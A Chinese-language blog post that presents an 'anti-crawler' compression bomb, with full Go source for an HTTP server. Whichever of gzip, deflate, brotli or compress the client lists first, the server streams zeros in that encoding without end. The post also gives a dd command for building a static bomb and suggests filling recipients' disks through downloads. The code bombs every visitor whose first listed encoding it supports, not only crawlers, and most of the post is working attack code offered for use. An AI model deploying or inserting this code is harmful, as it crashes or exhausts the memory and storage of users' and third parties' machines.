前段时间看到了一个使用gzip炸弹来进行反爬虫的思路,利用对空字节的高压缩比来消耗爬虫的内存资源,感觉比较有意思,于是自己手动实现了一下。
基本思路
客户端(浏览器、爬虫)在发起HTTP请求时,会在HTTP头Accept-Encoding字段中添加自己支持的压缩算法,比较常见的有:gzip、deflate、br。服务端则根据客户端支持的方式,对回包进行压缩,返回给客户端。客户端对回包进行解压缩、渲染。 那么就可以利用这个流程,在客户端进行请求时,返回一个超高压缩比的文件,客户端在对其进行解压的过程中会占用大量内存,导致崩溃或其他后果。
思路改进
- 通过对网上的相关信息进行搜索,发现大部分信息都局限于使用
dd if=/dev/zero of=boom.gz bs=1M count=1024
这种方式来生成压缩包,通过http服务将其返回,我觉得这种方式不够热情,我国传统观念上讲究帮人帮到底,送佛送到西,对于gzip等流式压缩,我们完全可以在服务端无限的扩增这个炸弹,直到对方不再接受信息。 - 大部分文章都局限于gzip炸弹,对于deflate、br等使用同样广泛的压缩方法鲜有讨论,于是顺手一并对其进行了实现。
- 其实也可以通过文件下载的方式来传递压缩炸弹,如果对方的文件系统没有开启压缩的话,可以很好的消耗对方的硬盘空间
直接上代码
Github链接: https://github.com/zigitn/simple-http-compress-bomb
package main
import (
"compress/flate"
"compress/gzip"
"compress/lzw"
"fmt"
"strings"
"github.com/andybalholm/brotli"
"github.com/gin-gonic/gin"
)
var blackHole = make([]byte, 8192)
func main() {
r := gin.New()
r.Any("/", handler)
r.GET("/download", handler)
err := r.Run(":9000")
if err != nil {
fmt.Println(err)
return
}
}
func handler(c *gin.Context) {
if c.Request.URL.Path == "/" {
c.Header("content-type", "text/html; charset=UTF-8")
}
acceptEncodingsStr := c.GetHeader("accept-encoding")
acceptEncodings := strings.Split(acceptEncodingsStr, ", ")
if len(acceptEncodings) == 0 {
return
}
switch acceptEncodings[0] {
case "gzip":
fmt.Println("gzip")
c.Header("Content-Encoding", "gzip")
writer, err := gzip.NewWriterLevel(c.Writer, gzip.BestSpeed)
if err != nil {
fmt.Println(err)
return
}
for err == nil {
_, err = writer.Write(blackHole)
}
fmt.Println(err)
return
case "deflate":
fmt.Println("deflate")
c.Header("Content-Encoding", "deflate")
writer, err := flate.NewWriter(c.Writer, flate.BestSpeed)
if err != nil {
fmt.Println(err)
return
}
for err == nil {
_, err = writer.Write(blackHole)
}
fmt.Println(err)
return
case "br":
fmt.Println("br")
c.Header("Content-Encoding", "br")
writer := brotli.NewWriterLevel(c.Writer, brotli.BestSpeed)
var err error
for err == nil {
_, err = writer.Write(blackHole)
}
fmt.Println(err)
case "compress":
fmt.Println("compress")
c.Header("Content-Encoding", "compress")
writer := lzw.NewWriter(c.Writer, lzw.LSB, 8)
var err error
for err == nil {
_, err = writer.Write(blackHole)
}
fmt.Println(err)
default:
return
}
}